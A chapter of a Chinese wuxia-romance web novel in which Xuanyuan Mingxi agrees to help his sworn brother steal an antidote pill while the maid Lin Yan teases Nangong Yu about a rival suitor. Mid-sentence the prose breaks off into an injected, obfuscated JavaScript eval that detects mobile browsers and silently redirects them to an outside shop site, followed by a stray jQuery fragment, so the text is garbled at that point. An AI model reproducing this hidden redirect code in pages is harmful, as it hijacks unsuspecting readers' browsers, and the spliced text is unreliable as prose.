一座凉亭里,轩辕明夕见司马连珏眼底浮着愁色,问道:“大哥,还在担忧宫中之事么?”
“如今父皇病重,东启国的皇位之争已越演越烈,我怎能不挂碍。”
“大哥,顾兄可安排妥当了?你此番回去定会诸多凶险。”
“嗯,他和清霜从来不会令我失望,二弟且放心,只是不知下次与你把酒言欢将是何时,”司马连珏握紧杯盏的指节泛白,碧玉酒杯里还残留着几滴暗红的葡萄酿,他沉声道:“或许,也不知是否还有机会与你推杯论盏。”
如此言之凿凿,轩辕明夕怎会不知其意,甚至自司马连珏接近开始就是有意而为,他亦出生皇家,怎会不明白朝政险恶。
这月余相处以来他本是真心待人,他为其添了些葡糖酿,宽慰道:“大哥,可有什么是我能做的吗?”
一阵清风吹得七彩荷花花瓣从枝头飘落,从盈着晶莹水珠的荷叶上滑过,轻轻落入湖面后打了个旋儿。
良久,司马连珏松开碧玉酒杯上的指尖,揉了揉掌心:“二弟,其实我此番来柳泽山庄也是为了寻找一物。”
“何物?”
“百草丹。”
轩辕明夕本就有所猜疑,闻言便明了:“此物能解百毒,大哥可是担心二皇子对你用毒?”
“对,此次暗杀他之所以下迷药,许是担心你们察觉,可我回去后情形便不同,宫中人多不易暗杀成功,但下毒相对容易,因此我需得先做准备,”司马连珏拢着眉峰,嘴唇微微泛白。
对于上次暗杀的迷药,轩辕明夕怀疑并非司马连珖所为,那种药太过诡异,连他和南宫昱都未察觉。因此他怀疑那迷药是暗影阁下的,遂才只来了一名死影,而且暗影阁阁主看来并非想杀他们。
见他未开口,司马连珏轻叹了叹。
轩辕明夕回过神,柔和道:“大哥,我明白你的处境。可柳泽山庄如此大,我该去何处寻找百草丹?”
闻言,司马连珏眼底闪过一丝光:“我知道它在何处,只是外面守卫众多。”
“大哥是想我配合你来个声东击西?”
“不错,二弟,你轻功一向好,待你引开他们后我自己去取。”
轩辕明夕并未接话,转而凝视着碧玉酒杯里的葡萄酿。
见状,司马连珏还以为他不愿意冒险,正欲开口。
“大哥,待我引开他们后再折回来,既是宝物,里面不知还有什么机关,我不放心你独自前去。”
司马连珏自小就懂隐忍,这十几年如一日活得如履薄冰,除了顾城和清霜,他几乎极少相信别人,可此番轩辕明夕却说出如此重情义的话来,他心头一热,赶忙侧过头喝了口葡萄酿。
“大哥无需担心。”
司马连珏更觉心热,眉间的褶皱也散开:“多谢二弟,你这份恩情我真是不知要如何报答!”
“大哥这是说的哪里话,我兄弟三人既已结拜,自当肝胆相照。若日后我有难,相信大哥也定会不惜所力。”
其实轩辕明夕很清楚司马连珏和南宫昱未必有多少真心,他们心思深沉,三人的结拜也不过是利益所取。
不过他并不在意,行迹江湖多年他最懂得仁义珍贵,因为这几乎是江湖中人最重视却又绝对缺少之物。
人人自危,为了保护自己随时可能拔刀相向。轩辕明夕见过太多这样的惨案,可他依旧相信至真至诚的情意,但凡他能所作的一定会尽力而为。
也许,这便是他清修之意。
微风袭来搅动一池涟漪,映着张思索的脸。
林言带玥儿回来时他们都还不在,经过方才那一遭,她也不打算出去溜达了。
她先前的想法多少蠢了些,柳泽山庄守卫森严,还有数不清的阵法结界,她根本就不可能进得去。
在曾经的穿书里她倒是当过一头巨兽,一脚下去便能踩死几十头大象,虽有力量,她每次走路都不得不看了又看,生怕造成误伤。
这是她生为人的人性,总不愿伤及无辜。
而如今成了人,即便她能偶尔克制情蛊,即便她察觉这具身体有问题,即便书神给自己看的故事不完整,她也丝毫没办法。她的力量如此弱小,根本不足以去对抗什么。
无泪剑和月心剑纵然知道些什么也根本不会告诉自己,这就等于她看到了问题却不知该如何解答。
这若放在一般人身上肯定得挠心挠肝,不过林言又岂是寻常人。
答案若有,她迟早会知道,若不清楚,那又能怎样,本来她就只是在扮演个炮灰丫鬟。
就这样吧,该吃吃,该睡睡,对轩辕明夕也是,看不得就不看。人得有自知之明,她也不想干那些事,况且她不属于这里,即便诸多留恋,也不行......
于是百般思索后,林言又回归了乐子人心态,好似这两日发生之事和她毫无相关。
当然,她并不晓得自己心态的放松有月心剑的帮忙。
想着好几日没见到月心剑了,林言试着唤了声:“小月心,你在哪里?能见见吗?”
月心剑刚才施了法,正打算离开养养,听到呼唤还是应道:“言姐姐,怎么了?”
咦,这声音?
林言没见着小白条,却感觉这声音与先前有些不同,若说之前是三岁孩子的声音,如今至少有七岁了。
她听无泪剑唠嗑过,她还有些开心:“小月心,你主人的剑法有进步了吗?”
“嗯,是有些。”
“那他能看见你了吗?”
“不能。”
“还不能啊,”林言还有点丧气,毕竟柳泽山庄会发生大事,她希望轩辕明夕不要受伤。
月心剑为她罩了层结界以此阻挡外面的靡靡之音,也确实很费了些功夫,它可累得慌。
林言发现它的声音不清脆,她直觉地认为剑和主人会产生感应,因此想着或许轩辕明夕也不舒服,便道:“小月心,你去休息吧,我们下次再聊。”
过后她站起身往门口望了又望,虽然不该如此期待,可她忍不住地担心。又想着他肯定在忙着找东西,便又悻悻地转回身,打算晚上再瞧瞧。
玥儿正在凉亭里歇息,林言盘算着南宫昱也该回来了,她走上前问道:“公主,你认为贺公子和南公子比怎样?”
杏眼微睁:“你指的哪方面?”
林言捧起西瓜吃起来:“各方面。”
玥儿撑起身,摇着小扇:“自然并非常人。”
林言装模作样地叹了口气。
“怎么了?”
“他不是看上你了嘛。”
话音刚落,就传来道冰冷冷的声音:“谁看上谁了!”
林言咬了大口瓜瓤,有些幸灾乐祸。她虽看不惯南宫昱整日贴着玥儿,可这贺公子什么路数也不晓得,她认为有必要刺激下狼崽子,让他贴身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033063|141695||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
保护玥儿比较妥当。
玥儿起身理了理裙摆:“御风哥哥,没什么。”
虽是飘来的,但没得一丝风,林言盯着他的黑脸笑道:“南公子,你看我干嘛。”
南宫昱沉着对冷眼:“你刚说什么来着?”
林言继续啃着瓜,假装失忆地望着满池的七彩荷花,呵呵道:“没什么,我不过就是和小姐聊点闲天而已,倒是你出去见什么人了啊,怎么那么久才回来,我的东西呢?”
话音刚落,一个食盒就出现在桌前。
林言有些受宠若惊,没想到狼崽子真听话。她也不绕弯子,提着嘴角:“南公子,方才我们回来时遇到了贺公子,哦,可吓死我了!”
“我就知道是,”南宫昱握着柔手,语气骤软:“他有为难你吗?”
“刚巧碰上就闲聊了几句,不过御风哥哥你得注意些,那騩中三怪杰似是要找你寻仇。”
南宫昱拍了拍柔手:“玥儿,手下败将不足挂齿,倒是贺公子,他都对你说什么了?”
不得不说,南宫昱在防挖墙角这块做得很是到位,颇有种打破砂锅问到底的架势。
“南公子,那贺公子看上我家小姐了,你有情敌了,若是想小姐远离他,你可以时刻守在我家小姐身边。虽然我还是对你有些意见,不过对比起来,我看你还是顺眼些。”
轩辕明夕还在门口就听到了她的声音,活泼泼,与先前别无两样。
林言虽背对着门,却在他进门时察觉到了气息,他走路并没得声音,可她就是感觉到了。她赶忙放下手中的西瓜,抹了抹嘴,又觉着自己好似挺刻意,便捡起葡萄小口地吃起来。
小口,嗯,她也会有在意形象之时……
轩辕明夕走过去打了声招呼:“三弟,你们在聊什么?”
南宫昱扬着眼角:“二哥你回来了,方才玥儿遇到了贺公子,看来我还是疏忽了。”
“御风哥哥,有你和二哥在,没事的,况且我也不会独自外出,”玥儿温和地安慰了声。
轩辕明夕挨着林言坐下,并未刻意去看她,见她默默给自己倒了杯茶,他端起喝了一口。
而后道:“玥儿,三弟的担心不无道理,贺公子并非常人。騩中三怪杰在江湖上向来以阴险狡诈出名,先前我们碰面时贺公子不过一个眼神就让赤玳闭了嘴。”
“二哥说得不错,虽然他走路的声音与普通人无异,但那日我仔细观察过,他每步步子的大小都相同,”南宫昱冷着脸附和道。
“连你俩都认为是高手,我可真有点怕怕,”林言假装做了副怂样。
南宫昱盯着她戏谑道:“你怕什么,他看上的又不是你。”
林言抖了抖脸皮,真恨不得给他两个脑崩子:“我是担心我家小姐!”
见她确实恢复如常,轩辕明夕又放心了些,隔得近,她很正常,自己也是。
见两人又开始翻嘴皮子,玥儿摇了摇头。
南宫昱也没继续,依旧旁若无人地拉着柔手:“玥儿,要不我今夜就在门外守着吧。”
“御风哥哥,有结界在,你和二哥隔得也近,况且有莲儿在身边,不用担心。”
“可......”
看南宫昱一脸真挚,林言差点就要信了他的鬼话,明明他才见了柳丝丝,聊的还是与玥儿有关的话。
若他真的干出那种事来,她铁定又想将他碎尸万段了!